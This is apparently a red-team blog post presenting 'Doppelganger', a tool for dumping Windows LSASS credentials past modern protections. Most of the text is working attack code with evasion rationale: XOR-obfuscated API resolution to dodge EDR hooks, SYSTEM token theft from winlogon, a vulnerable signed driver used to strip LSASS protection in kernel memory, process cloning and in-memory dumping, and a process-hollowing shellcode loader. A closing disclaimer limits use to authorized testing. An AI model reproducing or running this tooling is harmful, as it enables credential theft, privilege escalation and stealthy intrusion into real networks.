Reading Time: 18 minutes
Github Repo: https://github.com/vari-sh/RedTeamGrimoire/tree/main/Doppelganger

The Local Security Authority Subsystem Service (LSASS) is a core component of the Windows operating system, responsible for enforcing the security policy on the system. LSASS is a process that runs as lsass.exe and plays a fundamental role in:
Because LSASS has access to sensitive data such as plaintext credentials (in some configurations), NTLM hashes, and Kerberos tickets, it has become a high-value target for attackers during post-exploitation. Once an attacker has administrative access on a system, dumping the memory of the LSASS process can yield credentials for other accounts, including domain administrators.
Historically, tools like Mimikatz have been used to extract credentials directly from LSASS. This has led to Microsoft and security vendors implementing increasingly aggressive protective mechanisms around LSASS, including isolating it, preventing access via protected process modes, and introducing virtualization-based protections like Credential Guard.
Despite these defenses, LSASS remains at the center of many offensive security strategies—making it a persistent cat-and-mouse game between attackers and defenders.
Dumping LSASS has long been a key post-exploitation technique for adversaries seeking lateral movement and privilege escalation within Windows environments. But in 2025, with modern Windows defenses and increasingly capable Endpoint Detection and Response (EDR) platforms, one might ask: is it still worth the risk?
The short answer is: yes—but only if done stealthily.
Microsoft has dramatically hardened LSASS in recent years:
While classic methods like procdump or mimikatz sekurlsa::logonpasswords might now fail or trigger instant alerts, attackers have adapted:
These techniques, when combined with custom API resolution, in-memory execution, and encryption of artifacts, still allow threat actors and red teamers to extract credentials from LSASS successfully—even under PPL or VBS.
Modern red teamers don’t rely on LSASS dumps alone. Credential access techniques now include:
That said, a successful LSASS dump still offers high-value access in a single hit—and can lead directly to domain administrator credentials.
Dumping LSASS in 2025 isn’t obsolete—it’s just harder. When performed correctly, it’s still a powerful way to collect credentials, but it requires advanced techniques to remain undetected. This is where tools like Doppelganger come into play, using process cloning, obfuscation, and kernel-level manipulation to stay ahead of defensive technologies.
To understand why dumping LSASS has become increasingly difficult, it’s essential to grasp three major protection layers introduced by Microsoft: Protected Process Light (PPL), Virtualization-Based Security (VBS), and Credential Guard. These mechanisms work together to lock down access to sensitive system components—especially LSASS.
PPL is a security feature designed to protect high-value processes from tampering—even by other processes running as SYSTEM. When a process like LSASS is run as a PPL, access to its memory space is heavily restricted. Only trusted, Microsoft-signed binaries with specific protection levels can read or write to it.
PPL uses different protection levels, and LSASS typically runs as PsProtectedSignerLsa-Light. This limits access to processes that either:
This means that even tools running with administrative privileges (like procdump.exe) cannot access LSASS unless they’re properly signed and allowed.
VBS leverages hardware virtualization (e.g., Intel VT-x, AMD-V) to isolate sensitive parts of the Windows OS from the rest of the system. It creates a secure, virtualized environment called Virtual Secure Mode (VSM) that hosts highly privileged components.
Within VSM, certain memory regions become entirely inaccessible to standard processes—even those with elevated privileges. VBS enforces process integrity and makes it difficult to inject or tamper with system processes like LSASS.
With VBS enabled, even if an attacker disables PPL, portions of LSASS memory may still be off-limits.
Built on top of VBS, Credential Guard isolates credential material—including password hashes, Kerberos tickets, and NTLM secrets—inside VSM. LSASS still runs in the normal OS space, but the actual secrets are stored in Isolated LSA (LSAIso), a process running in the secure container.
Even if you dump LSASS memory under Credential Guard, you won’t retrieve actual credentials, just metadata or stubs pointing to secure handles.
Credential Guard also blocks:
lsass.exe memory,For defenders, PPL + VBS + Credential Guard form a layered defense:
| Protection Layer | Goal |
|---|---|
| PPL | Prevent memory access to LSASS |
| VBS | Enforce memory isolation via virtualization |
| Credential Guard | Move secrets outside attacker-accessible memory |
But for red teamers and attackers, these are barriers to bypass. Standard memory-dumping tools will fail. Instead, advanced techniques—like cloning LSASS, accessing physical memory, or using vulnerable drivers—are needed.
These mechanisms raise the bar for credential theft, but as history shows, defense never stops exploitation—it only slows it down.
Doppelganger is a custom-built tool designed to dump LSASS in modern, heavily defended Windows environments where traditional memory access techniques no longer work. Instead of attacking LSASS directly, Doppelganger uses an advanced strategy: process cloning.
By leveraging native Windows internals and carefully crafted obfuscation, Doppelganger:
NtCreateProcessEx, creating a nearly identical copy of the target.RTCore64.sys to temporarily remove process protections without crashing the system or triggering alarms.Most security solutions focus on monitoring and protecting the LSASS process itself. This includes:
OpenProcess and ReadProcessMemory.But Doppelganger never touches the memory of the original LSASS.
Instead, it:
This method neatly sidesteps most behavioral detections, as EDRs typically don’t monitor the creation of a clone of LSASS if done properly. They also rarely inspect cloned processes for memory content unless specific YARA rules or heuristics are in place.
Rather than relying on publicly available tools or known techniques that can be easily fingerprinted, Doppelganger was built from scratch to:
Its modular structure and emphasis on stealth make it a powerful utility for red team operations, malware research, or security testing scenarios where traditional dump methods simply fail.
The Doppelganger project is built with modularity, clarity, and stealth in mind. Each module encapsulates a specific task, and the directory structure is designed to keep the core logic, utilities, and interfaces cleanly separated for easier maintenance, testing, and future extension.
Here’s the actual project layout:
Doppelganger
│
├───Doppelganger
│ │
│ ├───include
│ │ api.h # API resolution logic
│ │ api_strings.h # XOR-encrypted API names and macros
│ │ defs.h # Common definitions, constants, macros, and XOR keys
│ │ driver.h # Kernel memory access routines via RTCore64.sys
│ │ dump.h # LSASS clone and dump interface
│ │ logger.h # Logging and debug output helpers
│ │ memory.h # Memory manipulation utilities
│ │ offsets.h # OS-specific structure offsets (e.g., EPROCESS.Protection)
│ │ osinfo.h # OS detection, KB parsing, build/version handling
│ │ token.h # Privilege escalation and SYSTEM token handling
│ │ utils.h # General-purpose helper functions
│ │
│ └───src
│ api.c # Runtime API resolution using XOR-obfuscated names
│ driver.c # Interfacing with RTCore64.sys for kernel R/W
│ dump.c # Clone and dump LSASS, restore PPL protections
│ logger.c # Minimalistic logging system
│ main.c # Entry point for Doppelganger logic
│ memory.c # Memory reading/writing utilities, disable and restore PPL functions
│ offsets.c # Offset initialization for EPROCESS and other structs
│ osinfo.c # KB scanning, PsInitialSystemProcess resolution
│ token.c # Token impersonation and privilege manipulation
│ utils.c # Generic helpers (string ops, hex print, etc.)
│
└───utils
decrypt_xor_dump.py # Decrypt XOR-encrypted LSASS dump for analysis
HollowReaper.c # Shellcode loader using process hollowing
RTCore64.sys # Signed vulnerable driver used for kernel memory access
token.c handles elevation and impersonation, while driver.c contains all low-level logic for talking to RTCore64.sys.HollowReaper.c is an optional utility to execute Doppelganger as in-memory shellcode via process hollowing.decrypt_xor_dump.py allows analysts to decrypt and inspect the memory dump using tools like Pypykatz.offsets.c/.h dynamically select the right structure offsets for a target system, enabling compatibility with multiple Windows builds.This structure ensures that Doppelganger remains maintainable and portable, while providing the low-level access and stealth necessary for red team operations in modern environments.
One of the key stealth mechanisms in Doppelganger is its dynamic and obfuscated resolution of Windows APIs. Instead of linking statically to functions like OpenProcess, NtCreateProcessEx, or MiniDumpWriteDump—which would be easily flagged by EDRs—the tool resolves them at runtime using XOR-obfuscated strings.
This technique serves multiple purposes:
API names are stored in api_strings.h as byte arrays encrypted with XOR, using a custom key (e.g., XOR_KEY). Here’s an example for "Process32FirstW":
static const unsigned char P32F_ENC[] = {
0x60, 0x43, 0x5D, 0x50, 0x51, 0x46, 0x45, 0x04, 0x0A, 0x7F, 0x08, 0x10, 0x10, 0x10, 0x32
};
These are decrypted at runtime using a simple XOR routine:
char* xor_decrypt_string(const unsigned char* enc, size_t len, const char* key, size_t key_len) {
char* out = malloc(len + 1);
if (!out) return NULL;
for (size_t i = 0; i < len; i++)
out[i] = enc[i] ^ key[i % key_len];
out[len] = '\0';
return out;
}
Once decrypted, API names are resolved using a custom implementation of GetProcAddress, which operates on manually loaded clean DLLs (bypassing IAT hooks introduced by security products):
void* CustomGetProcAddress(HMODULE hModule, const char* name);
This approach avoids using the default GetProcAddress, which might be hooked by EDRs or monitored for specific API resolution patterns.
To encapsulate the logic, the tool uses a single function to resolve and assign APIs:
BOOL ResolveApiFromDll(HMODULE hMod, const unsigned char* enc, size_t len, void** fn) {
char* name = xor_decrypt_string(enc, len, XOR_KEY, key_len);
if (!name) return FALSE;
*fn = (void*)CustomGetProcAddress(hMod, name);
free(name);
return (*fn != NULL);
}
This function is used for all core Windows APIs (NTDLL, KERNEL32, ADVAPI32, etc.) and also system calls not exposed via the Windows API.
To avoid calling Windows APIs that might be hooked, Doppelganger manually loads clean DLLs from disk using LoadLibraryA:
HMODULE LoadCleanDLL(char* dllPath) {
HMODULE hDLL = LoadLibraryA(dllPath);
return hDLL;
}
This ensures the DLL memory region is untouched by EDR hooks or user-mode callbacks, giving a more trustworthy view of function exports.
MiniDumpWriteDumpHere’s a real-world usage snippet for resolving and using MiniDumpWriteDump (DbgHelp):
// "MiniDumpWriteDump"
static const unsigned char MDWD_ENC[] = {
0x7D, 0x58, 0x5C, 0x5A, 0x70, 0x40, 0x5B, 0x47, 0x6F, 0x4B, 0x08, 0x16, 0x06, 0x20, 0x10, 0x0B, 0x17
};
void* pMDWD = NULL;
HMODULE hDbghelp = LoadCleanDLL("dbghelp.dll");
ResolveApiFromDll(hDbghelp, MDWD_ENC, sizeof(MDWD_ENC), &pMDWD);
// Call it later:
pMDWD(hClone, pid, NULL, MiniDumpWithFullMemory, NULL, NULL, &mci);
By combining runtime resolution, XOR obfuscation, and clean DLL loading, Doppelganger can operate without tipping off security tools that rely on API hooking or static analysis.
Before accessing LSASS or interacting with protected system components, Doppelganger must escalate its privileges. Although it may already run as Administrator, that alone isn’t enough—most sensitive operations require a SYSTEM-level token.
To achieve this, Doppelganger performs token impersonation, borrowing the SYSTEM token from a trusted system process (typically winlogon.exe or services.exe). This technique avoids the need for User Account Control (UAC) bypass or privilege escalation exploits, and is quiet enough to slip past security solutions.
winlogon.exe).DuplicateTokenEx.SetThreadToken or apply it directly via ImpersonateLoggedOnUser.This grants Doppelganger SYSTEM-level access without spawning a new process, which helps avoid noisy behavior.
HANDLE hSystemToken = NULL;
if (!GetSystemTokenAndDuplicate(&hSystemToken)) {
log_error("Failed to duplicate SYSTEM token.");
return 1;
}
// Use the token to impersonate SYSTEM
pIMP(hSystemToken); // ImpersonateLoggedOnUser
pSTT(NULL, hSystemToken); // SetThreadToken
The actual resolution of the APIs ImpersonateLoggedOnUser, SetThreadToken, and DuplicateTokenEx is handled earlier via obfuscated API loading, as described in the previous chapter.
BOOL GetSystemTokenAndDuplicate(HANDLE* hSystemToken) {
[...]
if (pP32F(hSnapshot, &pe)) {]
do {
// Look for winlogon
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
hProcess = pOP(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (hProcess) {
if (pOPTK(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
if (pDUPTOK(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken)) {
*hSystemToken = hDupToken;
found = TRUE;
log_info("Requesting permissions for new duplicated token...");
EnableAllPrivileges(hDupToken);
CloseHandle(hToken);
CloseHandle(hProcess);
log_success("Successfully duplicated token. Process can now run as SYSTEM.");
break;
[...]
To escalate privileges to SYSTEM, Doppelganger includes a routine that searches for a process already running as SYSTEM—specifically winlogon.exe. The function enumerates running processes via CreateToolhelp32Snapshot, locates winlogon.exe, and opens a handle to it. It then retrieves the process token and duplicates it using DuplicateTokenEx with full access rights. The resulting impersonation token is applied directly to the current thread using ImpersonateLoggedOnUser and SetThreadToken, allowing the process to operate under SYSTEM context. To ensure maximum capabilities, the tool also enables all needed privileges on the duplicated token before use.
Before accessing other processes (like LSASS), the SeDebugPrivilege must be enabled. Doppelganger does this programmatically and stealthily, using its obfuscated privilege manipulation logic:
BOOL EnableENCPVG(const char* ENC_PRIV) {
HANDLE hProc = pGCP(); // GetCurrentProcess
HANDLE hToken = NULL;
DWORD flags = (0x75 ^ 0x55) | (0x5D ^ 0x55); // TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
if (!pOPTK(hProc, flags, &hToken)) return FALSE;
BOOL result = EnablePrivilege(hToken, SE_DEBUG_ENC, sizeof(SE_DEBUG_ENC));
CloseHandle(hToken);
return result;
}
This uses XOR-encrypted strings for "SeDebugPrivilege" and avoids suspicious privilege-enabling calls visible to many EDRs.
Privilege escalation is a high-risk activity when done sloppily. By borrowing a SYSTEM token from an existing process, Doppelganger avoids:
This makes the escalation nearly invisible and sets the stage for safe interaction with LSASS—cloned or not.
To access LSASS memory on modern Windows systems, one of the biggest obstacles is Protected Process Light (PPL). Even with SYSTEM privileges, PPL prevents any process—even administrators—from reading or writing to protected processes like lsass.exe.
This is where Doppelganger uses a vulnerable signed driver—RTCore64.sys—to directly manipulate kernel memory, temporarily removing PPL protection from LSASS to allow safe cloning and dumping.
Note: This step is entirely invisible from user-mode and bypasses all traditional Windows security checks.
RTCore64.sys is a legitimately signed MSI Afterburner driver vulnerable to arbitrary kernel memory R/W via IOCTLs. Doppelganger loads this driver via a loader.
Once the driver handle is obtained, raw memory reads and writes are done via IOCTLs.
To remove protection, we need to locate the EPROCESS structure for LSASS and patch the Protection field. Here’s how Doppelganger does it:
PsInitialSystemProcess from a loaded copy of ntoskrnl.exe.ActiveProcessLinks doubly-linked list to find the process whose name is lsass.exe.EPROCESS structure for patching.The traversal is done fully in kernel memory, using the vulnerable driver to read arbitrary memory regions.
while (curr_entry != list_head) {
DWORD64 eproc = curr_entry - offs.ActiveProcessLinks;
char name[16] = { 0 };
ReadMemoryBuffer(Device, eproc + offs.ImageFileName, name, 15);
name[15] = '\0';
// "lsass.exe"
const unsigned char ls_enc[] = { 0x5C, 0x42, 0x53, 0x40, 0x47, 0x1B, 0x53, 0x4F, 0x5D };
char* target = xor_decrypt_string(ls_enc, sizeof(ls_enc), XOR_KEY, key_len);
if (_stricmp(name, target) == 0) {
free(target);
log_info("Found EPROC at 0x%llx", eproc);
// Save EPROCESS address
SavedEproc = eproc;
[...]
Once the EPROCESS structure for LSASS is found, the tool writes 0x00 to the Protection fields to disable PPL:
// Remove PPL from LSASS
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 2, 0x00); // SignatureLevel
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 1, 0x00); // SectionSignatureLevel
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection, 0x00); // Protection
This effectively unprotects LSASS for the duration of the operation, allowing duplication and dumping.
Once the clone is created and the dump is complete, Doppelganger use another function to restores the original PPL values to avoid artifacts and detection by security solutions that monitor process tampering:
// Restore LSASS PPL protection
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2, OriginalSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1, OriginalSecSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection, OriginalProt);
This level of cleanup makes Doppelganger more stealthy and forensically aware than most public tools.
Most EDRs monitor user-mode process access and memory read APIs—but they have no visibility into raw kernel memory writes done via signed drivers.
By abusing a trusted driver, Doppelganger quietly flips a few bits in memory, clones LSASS, and flips them back—leaving minimal traces and no alerts in most monitored environments.
The central idea behind Doppelganger is simple but powerful: Instead of attacking the real LSASS process, clone it, and attack the copy.
This approach avoids interacting directly with the protected lsass.exe, bypassing most EDR protections, logging hooks, and kernel-level security checks—because you’re working with a fresh, unmonitored instance of the process.
Security tools focus on monitoring access to PID 500-ish (lsass.exe). But a cloned process has:
By cloning LSASS, you get a snapshot of its memory in a process that you control.
NtCreateProcessExDoppelganger uses the undocumented syscall NtCreateProcessEx to create a new process, using lsass.exe as the parent process object:
NTSTATUS status = pNTCPX(
&hClone, // Output: Handle to cloned process
PROCESS_ALL_ACCESS, // Desired access
&objAttr, // Object attributes (can be NULL)
hLsass, // Parent process handle (real LSASS)
0, // Flags
NULL, NULL, NULL, // Sections (can be NULL for default clone)
FALSE // Inherit handles
);
The result: a new process that is a clone of LSASS, with all of its memory copied over.
Note: This is a real fork, not a new instance of
lsass.exe. It doesn’t appear in Task Manager or usual process listings unless specifically searched.
Before cloning, Doppelganger uses the technique from the previous chapter to temporarily remove PPL from the original LSASS. Otherwise, NtCreateProcessEx will fail with STATUS_ACCESS_DENIED due to protection policies.
The cloned LSASS process:
OpenProcess, ReadProcessMemory, or MiniDumpWriteDump.This clone becomes the safe, stealthy target for dumping memory, while the original remains untouched, protected, and monitored—but irrelevant.
Although Doppelganger needs to open a handle to the original lsass.exe in order to call NtCreateProcessEx, this access is minimal and avoids the most suspicious operations like reading memory or injecting code. The clone that gets created is not registered with the Service Control Manager, doesn’t listen on any ports, and doesn’t perform standard service-like behavior.
To most monitoring tools, the cloned process appears as a non-interactive, unclassified background process with no obvious indicators—especially when the dump is encrypted immediately afterward and protections are restored. This significantly reduces detection surface compared to classic memory dumping techniques.
Now that we have a clean, stealthy process with all the credentials we want, it’s time to extract the goods.
Once Doppelganger has cloned the LSASS process, the next step is to dump its memory in a way that:
To achieve this, Doppelganger uses MiniDumpWriteDump to create a full memory dump of the cloned LSASS process, and then encrypts it in-place using XOR.
At this point, PPL has been removed, the clone exists, and it’s fully accessible. Doppelganger simply calls the dump function:
BOOL dumped = pMDWD(
hClone, // Handle to cloned process
clonedPID, // Process ID
NULL, // File handle (can be NULL when dumping to memory)
MiniDumpWithFullMemory, // Dump type
NULL, NULL, &mci // Optional parameters. mci (MiniDump_Callback_Information), specifically, is a callback that writes the dump in memory instead of on a file
);
If successful, this produces a raw, plaintext memory dump containing credentials, Kerberos tickets, token handles, and more.
Instead of writing the LSASS dump directly to disk—a behavior often flagged by EDRs—Doppelganger uses a custom callback routine with MiniDumpWriteDump to capture the dump entirely in memory.
By passing a MINIDUMP_CALLBACK_INFORMATION structure to MiniDumpWriteDump, the tool intercepts all I/O operations and writes each chunk of dump data into a pre-allocated memory buffer. This is achieved by handling three key callback types:
IoStartCallback: Signals the beginning of the dump operation. Doppelganger returns S_FALSE to disable the default file write behavior.IoWriteAllCallback: Triggered for each chunk of dump data. The callback copies the chunk into the appropriate offset in the in-memory buffer.IoFinishCallback: Indicates completion of the dump. At this point, the full LSASS dump is available in memory.Here’s a simplified overview of the logic:
case IoWriteAllCallback:
source = CallbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
bufferSize = CallbackInput->Io.BufferBytes;
RtlCopyMemory(destination, source, bufferSize);
dumpSize += bufferSize;
CallbackOutput->Status = S_OK;
break;
This in-memory dumping technique avoids writing raw credential data to disk and significantly reduces the risk of detection. Once the full dump is collected, it is XOR-encrypted and written to disk only in its obfuscated form—rendering it unreadable to forensic or real-time file scanners.
Rather than saving the dump directly to disk in plaintext (which would trigger alerts from Defender, EDRs, or AVs), Doppelganger encrypts it in memory using XOR, then writes the encrypted dump to disk.
// Encrypt memory dump
xor_buffer(dumpBuffer, dumpSize, XOR_KEY, key_len);
// Create file on disk
HANDLE dumpFile = pCFA(outPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (dumpFile == INVALID_HANDLE_VALUE) {
log_error("Failed to create output file. Error: %lu", GetLastError());
HeapFree(GetProcessHeap(), 0, dumpBuffer);
return FALSE;
}
// Write buffer on file
DWORD bytesWritten = 0;
BOOL writeSuccess = WriteFile(dumpFile, dumpBuffer, dumpSize, &bytesWritten, NULL);
CloseHandle(dumpFile);
This ensures:
MZ headers, string artifacts),To analyze the dump later, a simple Python script is provided (decrypt_xor_dump.py). It uses the same XOR key to decrypt the .dmp file back to a valid MiniDump:
python decrypt_xor_dump.py C:\Windows\Public\doppelganger.dmp
After decryption, tools like Pypykatz can parse the dump normally:
pypykatz lsa minidump doppelganger.dmp.dec

HollowReaper is an advanced shellcode loader built to run Doppelganger in-memory, using a stealthy and minimal process hollowing technique.
Unlike traditional reflective loaders that tamper with the PEB or manually map PE sections, HollowReaper uses clean API calls, direct section mapping, and RIP redirection—a technique far less suspicious to modern EDRs.
Instead of walking the PEB, allocating memory, writing a PE, and calling
NtUnmapViewOfSection, we use:
VirtualAlloc-like behavior withNtCreateSection- Shellcode injected via shared section
- RIP/EIP redirected using
SetThreadContextThis flow is simpler, stealthier, and avoids many typical detection triggers.
// Create the process in a suspended state
STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// CreateProcessW
if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
free(exePathW);
return 1;
}
free(exePathW);
printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId);
The process (e.g., explorer.exe, svchost.exe) is launched suspended, so we can safely modify it before it runs.
The payload (Doppelganger.exe) is compiled to shellcode with Donut, then XOR-encrypted:
unsigned char shellcode_enc[] = { 0xD8, 0xF1, 0x45, 0x33, ... };
size_t shellcode_len = sizeof(shellcode_enc);
xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len);
HANDLE hSection = NULL;
LARGE_INTEGER sectionSize = { 0 };
sectionSize.QuadPart = shellcode_len;
NTSTATUS status = pNCS(&hSection, SECTION_ALL_ACCESS, NULL, §ionSize,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
This creates a memory section object with RWX permissions.
// Local mapping (for writing shellcode)
PVOID localBase = NULL;
SIZE_T viewSize = 0;
pNMVOS(hSection, pGCP(), &localBase, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE); // NtMapViewOfSection
// Writing Shellcode
memcpy(localBase, shellcode_enc, shellcode_len);
// Remote mapping (for execution)
PVOID remoteBase = NULL;
viewSize = 0;
pNMVOS(hSection, pi.hProcess, &remoteBase, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ); // NtMapViewOfSection
Unlike writing memory with WriteProcessMemory, this technique doesn’t touch the PEB, and it avoids setting suspicious memory protections via VirtualProtectEx.
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
pGTC(pi.hThread, &ctx); // GetThreadContext
#ifdef _WIN64
ctx.Rip = (DWORD64)remoteBase;
#else
ctx.Eip = (DWORD)remoteBase;
#endif
// SetThreadContext
pSTC(pi.hThread, &ctx);
This is cleaner and stealthier than CreateRemoteThread or APC injection. You’re just changing where the thread resumes.
// ResumeThread
DWORD suspendCount = pRT(pi.hThread);
printf("[+] Shellcode executing. Suspend count: %lu\n", suspendCount);
The shellcode now runs inside a legitimate process, with no suspicious memory allocation, no DLL mappings, and no PE footprint.
| Traditional Injectors | HollowReaper |
|---|---|
Writes to remote memory via WriteProcessMemory |
Uses NtMapViewOfSection |
Calls VirtualAllocEx, CreateRemoteThread |
No VirtualAllocEx, no new threads |
| Leaves PE metadata in memory | Pure shellcode |
| Touches or walks PEB | Doesn’t interact with PEB at all |
| Often leaves IAT or suspicious regions | Uses mapped memory and no imports |
All critical APIs are resolved dynamically using XOR-encrypted names, decrypted at runtime and resolved via CustomGetProcAddress():
char* str = xor_decrypt_string(enc, len, XOR_KEY, key_len);
void* fn = CustomGetProcAddress(hDLL, str);
Example of encrypted name for CreateProcessW:
static const unsigned char CPW_ENC[] = {
0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33
};
This ensures zero static references to Windows APIs.
HollowReaper is designed for stealth and flexibility:
While Doppelganger is a powerful and stealthy tool for dumping LSASS memory in hardened environments, it does have some inherent limitations due to modern Windows security features. Understanding these limitations is crucial for setting the right expectations during red teaming, malware emulation, or security research.
Even if LSASS is cloned successfully, Credential Guard isolates the most sensitive secrets—such as plaintext credentials and Kerberos TGTs—inside a secure container (LSAIso.exe) using Virtualization-Based Security (VBS).
This means:
TL;DR: If Credential Guard is active, even a perfect LSASS clone won’t give you everything.
RTCore64.sys)Doppelganger relies on RTCore64.sys for:
This has trade-offs:
Without the driver, PPL removal won’t work, and cloning will likely fail.
The HollowReaper loader only supports shellcode payloads generated by tools like Donut (.NET, unmanaged PE). If the payload is too large or not shellcode-safe, injection may fail.
To locate LSASS’s EPROCESS and patch the Protection field, Doppelganger:
ntoskrnl.exe manually,PsInitialSystemProcess,ActiveProcessLinks.The structure offsets (e.g., EPROCESS.Protection) vary by Windows version/build/patch level. The tool supports major Windows 10/11 builds, but might need updates for newer KBs.
Even though Doppelganger avoids direct tampering with LSASS:
If you’re running as a low-privileged user, you’re not getting far.
By default, Doppelganger writes the XOR-encrypted dump to a file (e.g., C:\Users\Public\doppelganger.dmp). While encrypted, it’s still a physical artifact that can be picked up by:
You can modify the tool to return the dump in-memory or exfiltrate it via C2, but that’s up to the operator.
NtCreateProcessExDoppelganger reduces detection significantly, but it’s not undetectable. A well-tuned EDR with behavioral heuristics and kernel monitoring may still catch you.
| Limitation | Impact |
|---|---|
| Credential Guard active | Partial/no credential extraction |
| Requires RTCore64.sys | Needs driver load capability |
| SYSTEM privileges needed | Can’t run as low-priv user |
| OS-specific offsets | May need updates for new builds |
| Dump written to disk | Leaves artifact (unless modified) |
| Not bulletproof | May still be caught by advanced EDRs |
Doppelganger is a modern, stealthy, and modular utility designed to dump LSASS in 2025—when traditional techniques are blocked by PPL, VBS, Credential Guard, and aggressive EDRs.
Rather than fighting directly with the protected LSASS process, Doppelganger takes a smarter approach:
NtCreateProcessExThis combination of low-level Windows internals, stealthy loader design, and modular architecture makes Doppelganger a powerful asset for red team operations, evasion research, and offensive tooling development.
That said, it’s not a magic bullet. Modern Windows security features like Credential Guard and behavioral detection systems still pose challenges. But when used appropriately, Doppelganger offers a path around many of the roadblocks defenders rely on today.
⚠️ This tool is provided strictly for educational purposes and authorized red team operations.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
Use responsibly. Learn deeply. Red team ethically.
Andrea Varischio, of Yarix’s Red Team, graduated from UNIPD with a degree in telecommunications engineering. During his studies, he became passionate about computer security, with a focus on that of Android devices, which was also his master’s thesis topic. Now his focus is on Red Teaming, Red Team tool development, payments penetration tests and mobile assessments. Drummer in his spare time, he loves music, math, martial arts and board games.